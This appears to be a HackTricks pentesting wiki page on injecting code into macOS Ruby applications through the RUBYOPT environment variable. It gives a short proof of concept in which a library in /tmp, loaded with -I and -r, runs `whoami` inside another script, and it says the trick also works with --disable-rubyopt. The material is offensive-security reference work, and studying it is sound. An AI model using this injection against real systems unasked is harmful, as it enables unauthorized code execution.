hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md
2024-12-12 11:39:29 +01:00

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# macOS Ruby Applications Injection
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## RUBYOPT
Using this env variable it's possible to **add new params** to **ruby** whenever it gets executed. Although the param **`-e`** cannot be used to specify ruby code to execute, it's possible to use the params **`-I`** and **`-r`** to add a new folder to the libraries to load path and then **specify a library to load**.
Create the library **`inject.rb`** in **`/tmp`**:
{% code title="inject.rb" %}
```ruby
puts `whoami`
```
{% endcode %}
Create anywahere a ruby script like:
{% code title="hello.rb" %}
```ruby
puts 'Hello, World!'
```
{% endcode %}
Then make an arbitrary ruby script load it with:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb
```
Fun fact, it works even with param **`--disable-rubyopt`**:
```bash
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
```
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